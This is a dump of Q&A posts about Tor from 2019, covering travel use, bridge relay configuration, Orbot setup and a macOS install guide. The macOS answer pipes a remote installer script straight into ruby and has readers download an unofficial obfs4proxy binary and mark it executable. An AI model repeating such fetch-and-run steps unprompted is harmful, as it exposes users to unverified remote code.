  <row Id="20207" PostTypeId="6" CreationDate="2019-08-24T16:26:17.670" Score="0" Body="&lt;p&gt;Hello and good time of the day! I'm working with Tor on all levels - including a source code - for more than 7 years. And I'm glad to be a helping hand in a community as I'm doing it already: people do have right to have their privacy in their own hands! Tor is quite a versatile piece of software, and it's not doing all it can out of the box - so tweaking from the build to configuration is an essential part! Now I have some free time to dedicate it to the Q&amp;amp;A section, and I'd love to help all the people who really need a tip. Let's do it together?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="9291" LastEditDate="2019-08-24T16:26:17.670" LastActivityDate="2019-08-24T16:26:17.670" CommentCount="0" CommunityOwnedDate="2019-08-24T16:26:17.670" ContentLicense="CC BY-SA 4.0" />
  <row Id="20208" PostTypeId="1" AcceptedAnswerId="20211" CreationDate="2019-08-25T19:39:05.600" Score="3" ViewCount="908" Body="&lt;p&gt;I'd like to ask your opinion on whether it's a good idea or not to use the TAILS operating system (which comes with Tor buit in) while on my trip as a tourist to North Korea. The tour organizer says it's possible to access the Internet in North Korea if you buy a SIM card which is sold only to foreigners. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to bring my own laptop and a USB stick from which i will boot the TAILS OS. I absolutely do not intend to perform any activities deemed as illegal or defamatory by the North Korean authorities. I just want to use TAILS + Tor for extra anonymity while browsing the Internet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think it's risky and it would seem suspicious if my USB stick is inspected and they find out TAILS on it? Do you know of any cases where foreigners successfully accessed Tor from North Korea and would you recommend its usage while in that country?&lt;/p&gt;&#xA;" OwnerUserId="27584" LastActivityDate="2022-11-09T01:07:12.693" Title="Tor usage in North Korea as a foreigner" Tags="|tails|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20209" PostTypeId="1" AcceptedAnswerId="20210" CreationDate="2019-08-26T10:50:11.123" Score="1" ViewCount="217" Body="&lt;p&gt;If I use Tor browser, can websites know my OS? For example, if I use different OS than Windows and websites know it, I will be different and it would reduce my anonymity.&lt;/p&gt;&#xA;" OwnerUserId="27585" LastEditorUserId="27585" LastEditDate="2019-08-26T13:56:26.950" LastActivityDate="2019-08-26T13:56:26.950" Title="If I use Tor browser, can websites know my OS?" Tags="|windows|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20210" PostTypeId="2" ParentId="20209" CreationDate="2019-08-26T11:47:37.387" Score="0" Body="&lt;p&gt;No, websites will always think that you are using Firefox on Windows 7 even if you are using Mac, Linux, or some other version of Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use some other browser with Tor other than Tor Browser, then that browser's identify will be given unless you make the effort to hide it.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-26T11:47:37.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20211" PostTypeId="2" ParentId="20208" CreationDate="2019-08-26T11:50:38.363" Score="3" Body="&lt;p&gt;Yes it is too risky. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I absolutely do not intend to perform any activities deemed as illegal&#xA;  or defamatory by the North Korean authorities.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Using Tor at all may be deemed illegal. You can imagine that if you use the internet, every single packet will be scrutinized and they &lt;strong&gt;can&lt;/strong&gt; see that you are using Tor even if they can't see what you are doing. Why take that kind of risk?&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-26T11:50:38.363" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20212" PostTypeId="2" ParentId="3870" CreationDate="2019-08-26T12:47:48.160" Score="1" Body="&lt;p&gt;So I cracked the hash in the seeker message here are two links one for the union site and the other to a cryptic video perhaps you will have more luck than I did - W  dxwd42hgpd7qrccm.onion &amp;lt; onion site in reference in the Primus and the corestponding link the onion takes you to &lt;a href=&quot;https://1711141131131.xyz/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://1711141131131.xyz/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27586" LastActivityDate="2019-08-26T12:47:48.160" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20214" PostTypeId="1" CreationDate="2019-08-26T16:15:57.603" Score="0" ViewCount="29" Body="&lt;p&gt;Yahoo mail and Craigs list seem to log me in automatically (username&amp;amp;PW)  when I surf to them over tor. (Even after PC shutdown, restart). I am a bit shocked that some part of the system remembers me. I am new to the system, looking for how to maximize security.&lt;/p&gt;&#xA;" OwnerUserId="27590" LastActivityDate="2019-08-26T16:15:57.603" Title="Why does yahoo mail &amp; craigslist remember my credentials on new login?" Tags="|anonymity|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20215" PostTypeId="2" ParentId="19937" CreationDate="2019-08-26T17:58:04.633" Score="0" Body="&lt;p&gt;When you use Tor on the regular internet, the website does not see you. It sees the exit node that you are coming through. Exit nodes are not private. Once a company realizes that too many people &quot;look like&quot; an exit node, they start blocking people who come from there. Sometimes you might get lucky and visit that site from an exit node that they are not aware of and you can get in but that usually doesn't happen often.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google is the number 1 offender when if comes to this, they will give you endless captchas so you are effectively banned while using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no workaround and hack to get by this if the company/website wants to ban Tor users.&lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-26T17:58:04.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20216" PostTypeId="1" CreationDate="2019-08-26T18:06:42.540" Score="2" ViewCount="1101" Body="&lt;p&gt;I used to run a Tor bridge on Windows at home, where I have a 300/150 Mbps ISP. This Windows has memory leak and crashes after some hours, ad I believe that was making my bridge never get traffic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few weeks ago I moved it to a Ubuntu server, also at home. I use uptimerobot.com to monitor if its port is reachable from outside and healthchecks.io to monitor if traffic entering from its local SOCKS port is reaching check.torproject.org. It's always up and reachable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But nyx reports it's rarely getting any traffic, and its bandwidth never surpasses 1KB/s. Its log heartbeat reports very little download and upload and always claims to has seen 0 unique clients. But how come, if my healthchecks.io monitor's curl call uses it every few minutes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;metrics.torproject.org reports correct dates and uptime. Advertised Bandwidth is 58KB/s, way above what nyx reports. Flags are Fast, Running, V2Dir, Valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What might be wrong? Or is it normal for a Tor bridge relay be this idle? This is my torrc removing identifiable data.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 9 October 2013 for Tor 0.2.5.2-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;Nickname MyNick&#xA;ContactInfo mycontact&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;SocksPort 9031&#xA;#SocksPort ::9031&#xA;#SocksPort 0.0.0.0:80&#xA;#SOCKSPolicy accept 192.168.*&#xA;&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;ControlPort 9051&#xA;&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;CookieAuthentication 1&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;Address hikari.mydomain.com&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;ORPort 80&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;DirPort 9030 # what port to advertise for directory connections&#xA;&#xA;ServerTransportPlugin obfs3,obfs4 exec /usr/bin/obfs4proxy&#xA;#ExtORPort 0.0.0.0:8000&#xA;ExtORPort 9041&#xA;&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;&#xA;ExitPolicy reject *:*       # don't run as an exit node&#xA;BridgeRelay 1               # bridge&#xA;PublishServerDescriptor 1   # published on bridge directory DB&#xA;BridgeRecordUsageByCountry 1 # it's nice to see the country codes of users you are assisting&#xA;#BandwidthRate 512000&#xA;#RelayBandwidthBurst 512000&#xA;#RelayBandwidthRate 512000&#xA;&#xA;CellStatistics 1&#xA;PaddingStatistics 1&#xA;DirReqStatistics 1&#xA;EntryStatistics 1&#xA;ExitPortStatistics 1&#xA;ConnDirectionStatistics 1&#xA;HiddenServiceStatistics 1&#xA;ExtraInfoStatistics 1&#xA;&#xA;#If non-zero, try to write to disk less frequently than we would otherwise. This is useful when running on flash memory or other media that support only a limited number of writes. (Default: 0)&#xA;AvoidDiskWrites 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7058" LastActivityDate="2019-08-26T20:12:21.653" Title="Why is my Tor bridge relay not getting any traffic?" Tags="|relays|bridge|bandwidth|traffic-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20217" PostTypeId="2" ParentId="20216" CreationDate="2019-08-26T20:12:21.653" Score="2" Body="&lt;p&gt;Is your bridge being published as available on &lt;a href=&quot;https://bridges.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bridges.torproject.org/&lt;/a&gt;? If not, then theres a good chance that nobody know about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also contact the &lt;a href=&quot;https://lists.torproject.org/cgi-bin/mailman/listinfo/tor-relays&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Bridges mailing list&lt;/a&gt; for specific help about your bridge. &lt;/p&gt;&#xA;" OwnerUserId="23661" LastActivityDate="2019-08-26T20:12:21.653" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20219" PostTypeId="2" ParentId="17506" CreationDate="2019-08-27T15:59:43.207" Score="0" Body="&lt;p&gt;I had the same problem, but I acted differently.&#xA;I inspected the code with the browser and changed the css code that hide the qr-code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;display: block;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="27597" LastActivityDate="2019-08-27T15:59:43.207" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20224" PostTypeId="1" CreationDate="2019-08-29T03:03:10.170" Score="1" ViewCount="188" Body="&lt;p&gt;Every single time I try to open tor it almost immedietly closes. This happens every single time. I am on a mac.&lt;/p&gt;&#xA;" OwnerUserId="27610" LastActivityDate="2019-08-29T03:03:10.170" Title="My tor browsers closes seconds after opening" Tags="|help|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20225" PostTypeId="2" ParentId="13037" CreationDate="2019-08-29T11:01:20.610" Score="2" Body="&lt;p&gt;This helped me greatly, it is the template...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/torproject/tor/blob/master/src/config/torrc.sample.in&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/torproject/tor/blob/master/src/config/torrc.sample.in&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19829" LastActivityDate="2019-08-29T11:01:20.610" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20228" PostTypeId="2" ParentId="20075" CreationDate="2019-08-30T01:21:59.850" Score="1" Body="&lt;p&gt;First of all.  This is not the [DARK WEB]. &#xA;Simply it's taking back you privacy and keeping your anatomy safe.  Just like you I also didn't know much about TOR. &#xA;So first step is to apps that may infringe on your privacy. Mostly GOOGLE apps.  Go thru all your apps [PERMISSIONS] Settings! And SEE how much of your privacy you're giving up!&lt;/p&gt;&#xA;" OwnerUserId="27595" LastActivityDate="2019-08-30T01:21:59.850" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20230" PostTypeId="2" ParentId="8599" CreationDate="2019-08-30T10:50:42.540" Score="0" Body="&lt;p&gt;Only solution that worked for me was using command prompt (admin) with following commands in order:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;type diskpart&lt;/li&gt;&#xA;&lt;li&gt;select your disk number (e.g. &quot;select disk 1&quot; or &quot;select disk 2&quot; without the &quot;&quot;) of the usb you want to flash&lt;/li&gt;&#xA;&lt;li&gt;type clean&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Use Etcher to flash tails to the USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once finished, go to disk management and create a new partition on the USB &#xA;voila, 2 partitions and tails installed on one of them.&lt;/p&gt;&#xA;" OwnerUserId="27623" LastEditorUserId="5234" LastEditDate="2019-08-31T16:50:05.567" LastActivityDate="2019-08-31T16:50:05.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20231" PostTypeId="1" CreationDate="2019-08-30T11:42:24.670" Score="0" ViewCount="1188" Body="&lt;p&gt;I downloaded tor which ran but was &quot;unable to connect&quot; when I tried to access any sites. I uninstalled it and reinstalled but now it is just displaying: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Unable to connect to listener port&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8/30/19, 11:33:09.876 [WARN] You specified a public address '103.36.122.33:8080' for SocksPort. Other people on the Internet might find your computer and use it as an open proxy. Please don't allow this unless you have a good reason. &#xA;8/30/19, 11:33:09.876 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/30/19, 11:33:09.876 [WARN] You specified a public address '103.36.122.33:8080' for SocksPort. Other people on the Internet might find your computer and use it as an open proxy. Please don't allow this unless you have a good reason. &#xA;8/30/19, 11:33:09.876 [NOTICE] Opening Socks listener on 103.36.122.33:8080 &#xA;8/30/19, 11:33:09.876 [WARN] Could not bind to 103.36.122.33:8080: Can't assign requested address &#xA;8/30/19, 11:33:09.876 [WARN] Controller gave us config lines that didn't validate: Failed to bind one of the listener ports. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Please let me know how i can fix it! I've tried uninstalling and reinstalling over it again but it doesn't work. I am using admin account on mac.&lt;/p&gt;&#xA;" OwnerUserId="27625" LastEditorUserId="5234" LastEditDate="2019-10-08T23:44:58.287" LastActivityDate="2022-03-28T21:00:40.060" Title="New to tor, is not working :(" Tags="|configuration|help|connection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20236" PostTypeId="1" CreationDate="2019-08-30T18:41:57.927" Score="0" ViewCount="59" Body="&lt;p&gt;I have a weird problem going on: Between 6 and 8 pm I am unable to make any ssl connections through my router - and it effects various devices using a range of operating systems and but wifi and Ethernet connections. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had the line and checked and the ISP can find no errors on the line or router. Stranger still, Tor seems to work fine, which is making me think that something very strange is going on and either my Tor is fake and not using SSL at all, or the onion routing is helping Tor evade what ever is interfering with SSL connections.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did have some problems with someone hacking some things through an old email account with a poor password a while before this started - but I don't think they managed to get into anything on my personal network, just access an FB account, and I have hardened my security a lot since then.  However, I do make some politically sensitive posts and could be the subject of unwanted attention by.  I don't mind if they can see my stuff, but not being able to us SSL connections is a real pain :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone has an suggestions about why I might have problems with SSL for a regular two hour block each day, or why Tor and Onion routing should seem to to avoid the problem, it would be much appreciated.   &lt;/p&gt;&#xA;" OwnerUserId="27632" LastActivityDate="2019-09-30T08:02:50.413" Title="Tor and Onion Rouitring work whilst SSL is out on my network" Tags="|onion-routing|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20237" PostTypeId="2" ParentId="20236" CreationDate="2019-08-31T07:10:52.633" Score="1" Body="&lt;p&gt;This question has a broader scope than Tor.SE has. Maybe &lt;a href=&quot;https://security.stackexchange.com/&quot;&gt;InfoSec.SE&lt;/a&gt; is a better place to ask.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Between 6 and 8 pm I am unable to make any ssl connections through my router&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There could be numerous reasons. You may need a packet capture and a few tests (like using &lt;a href=&quot;https://ooni.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;OONI&lt;/a&gt;) to determine what happened behind the scene.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Your router has configurable firewall rules, and someone has somehow managed to add a &quot;disallow 443 port from 6 pm to 8 pm&quot; rule. Note that not all Tor relays listen on port 443.&lt;/li&gt;&#xA;&lt;li&gt;It is some sort of &lt;a href=&quot;https://www.bleepingcomputer.com/news/security/south-korea-is-censoring-the-internet-by-snooping-on-sni-traffic/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SNI-based censorship&lt;/a&gt;. Since Tor puts random value in the SNI field, it evades such censorship.&lt;/li&gt;&#xA;&lt;li&gt;A man-in-the-middle box is on the line, but it only performs MITM when the server gives out well-known certificates.&lt;/li&gt;&#xA;&lt;li&gt;Multiple issues added together could also lead to such situation. For example, assume there is a flawed surveillance box with a broken TCP stack. Legitimate HTTPS certificates are so big that they do not fit in a single TCP segment. The device could think something like &quot;I want to record the server certificate, but I can't reassemble those segments, so let's kill that connection.&quot; This scenario is pretty contrived, but faulty devices are everywhere.&lt;/li&gt;&#xA;&lt;li&gt;Your Tor binary could be fake. That is to say, Trojan horses are cheaper than MITM boxes, so why not?&lt;/li&gt;&#xA;&lt;li&gt;And many more possibilities ... Maybe I missed some obvious ones.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4894" LastActivityDate="2019-08-31T07:10:52.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20238" PostTypeId="2" ParentId="13270" CreationDate="2019-08-31T22:28:10.823" Score="1" Body="&lt;h1&gt;First, you have to get orbot&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;to get that on your phone there two ways which I know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;using F-Droid&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which is accessible from &lt;a href=&quot;https://f-droid.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;https://f-droid.org&lt;/code&gt;&lt;/a&gt; but before installing orbot you have to activate Guardian Project Official Releases under &lt;code&gt;F-Droid -&amp;gt; settings -&amp;gt; Repositories&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;using Google-Play-Store&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which you just type &lt;code&gt;orbot&lt;/code&gt; in the search bar and there you go.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;After installing &lt;code&gt;Orbot&lt;/code&gt; on your device&lt;/h1&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it's strongly recommended to VPN the whole device traffic through &lt;code&gt;Tor&lt;/code&gt; network. so to do that, you have &lt;strong&gt;to turn VPN Mode ON&lt;/strong&gt; in the &lt;strong&gt;main page of &lt;code&gt;Orbot&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;now you go into settings, come down in settings, and you will see &lt;code&gt;Debug&lt;/code&gt; section click on &lt;strong&gt;Torrc Custom Config&lt;/strong&gt; and you will be prompted, you have to enter below lines to use Bridges:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now go up in the settings you will see &lt;code&gt;Bridges&lt;/code&gt; Section, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First activate &lt;strong&gt;&lt;code&gt;Use Bridges&lt;/code&gt;&lt;/strong&gt; by clicking on it&lt;/li&gt;&#xA;&lt;li&gt;Then Click on Bridges, and you will be prompted again, and now you have to enter your Bridges - so far so good but now how should I get Bridges?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h1&gt;getting Bridges&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;use &lt;strong&gt;&lt;code&gt;gmail&lt;/code&gt;&lt;/strong&gt; or &lt;strong&gt;&lt;code&gt;yahoo mail&lt;/code&gt;&lt;/strong&gt; (I'm not sure about other mail service providers) to compose a mail to &lt;strong&gt;&lt;code&gt;bridges@bridges.torproject.org&lt;/code&gt;&lt;/strong&gt; and fill both subject and mail content with &lt;code&gt;get transport obfs4&lt;/code&gt; (carefull about not having kinda misspelling). now you are done there is a mail back to you from &lt;strong&gt;&lt;code&gt;bridges@bridges.torproject.org&lt;/code&gt;&lt;/strong&gt; in seconds.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Final Step&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Now you can enter the bridges you got into &lt;strong&gt;&lt;code&gt;obrot -&amp;gt; settings -&amp;gt; Bridges&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;below is an obfs4 bridge structure:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;obfs4 IP:PORT HASH-OF-YOUR-OBFS4-BRIDGE  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;now you can come back into the main page and click on onion and turn it on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as it shows &lt;code&gt;Bootstraped 100%&lt;/code&gt;, it should be connected and you can enjoy surfing internet freely. but if it show Proxy Client: unable to connect to IP:PORT (&quot;general SOCKS server failure&quot;), you need to send another mail to &lt;strong&gt;&lt;code&gt;bridges@bridges.torproject.org&lt;/code&gt;&lt;/strong&gt; to get another bridges.&lt;/p&gt;&#xA;" OwnerUserId="27636" LastEditorUserId="5234" LastEditDate="2019-09-01T14:57:16.190" LastActivityDate="2019-09-01T14:57:16.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20239" PostTypeId="2" ParentId="20231" CreationDate="2019-08-31T23:37:44.860" Score="0" Body="&lt;p&gt;I'm not sure if it's working now, but I did it a time ago, in mac first, you need to have &lt;code&gt;brew&lt;/code&gt; you could install via below command&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/bin/ruby -e &quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then install&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew install tor polipo privoxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so tor is installed now, but there further moves to touch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;apped below line in below file (if file dosn't exist create it):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/etc/polipo/config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;below lines:&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;socksParentProxy = &quot;localhost:9050&quot;&#xA;socksProxyType = socks5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now edit this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/etc/privoxy/config&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and uncomment below line from it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; forward-socks5t / 127.0.0.1:9050 .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;now&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew services start tor&#xA;&#xA;brew services start polipo&#xA;&#xA;brew services start privoxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;For checking if tor is connected or not&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;use this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tail -f /usr/local/var/log/tor.log  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;if not&lt;/strong&gt; you have to get a non-obfs-bridge bridge, and it's now deprecated, so you must use &lt;code&gt;obfs3, scramblesuit, fte, or obfs4&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to get bridge just email &lt;code&gt;get transport obfs4&lt;/code&gt; to &lt;code&gt;bridges@bridges.torproject.org&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &lt;code&gt;/usr/local/etc/tor/torrc&lt;/code&gt; file and append these below lines to the end of torrc file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UseBridges 1&#xA;ClientTransportPlugin obfs4 exec /usr/local/bin/obfs4proxy&#xA;Bridge `YOUR-OBFS4-BRIDGE`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;before doing last step &lt;a href=&quot;https://download.tuxfamily.org/molaeiorg/dl/obfs4proxy/macosx64/obfs4proxy&quot; rel=&quot;nofollow noreferrer&quot;&gt;dowload this file&lt;/a&gt;  and make it as executable via &lt;code&gt;chmod +x obfs4proxy&lt;/code&gt; command &amp;amp; put the downloaded file in below directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/usr/local/bin/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now you can restart tor, and it's ready.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;brew services restart tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://molaei.org/tor-mac/&quot; rel=&quot;nofollow noreferrer&quot;&gt;resource&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27636" LastActivityDate="2019-08-31T23:37:44.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20240" PostTypeId="2" ParentId="6896" CreationDate="2019-09-01T15:31:59.927" Score="-1" Body="&lt;p&gt;there is a very same addon for firefox called &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/cookie-quick-manager/&quot; rel=&quot;nofollow noreferrer&quot;&gt;cookie quick manager&lt;/a&gt; when you installed it, you could protect cockies of intended websites and kill the others.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is still a question, why not using &lt;code&gt;tor&lt;/code&gt; instead of &lt;code&gt;tor-browser&lt;/code&gt;?&#xA;By using &lt;strong&gt;tor&lt;/strong&gt; which you can install in your distro and route your network traffic through &lt;code&gt;tor&lt;/code&gt; network, besides you can use Bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, you could even use your firefox without any thinking about using tor-browser, and that's possible via traffic director addon in firefox called &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/switchyomega/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Switchy Omega&lt;/strong&gt;&lt;/a&gt;.&#xA;So when you want you can handle your packets to be routed without &lt;strong&gt;tor&lt;/strong&gt; (&lt;strong&gt;directly&lt;/strong&gt;) or packets routed through tor profile you can move over a box in the addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even better you can add conditions like if you want website x to go through tor and but not y, you will have only to add a condition to the tor profile in the add, believe it or not, it's super simple.&lt;/p&gt;&#xA;" OwnerUserId="27636" LastEditorUserId="27636" LastEditDate="2019-09-01T15:45:05.673" LastActivityDate="2019-09-01T15:45:05.673" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
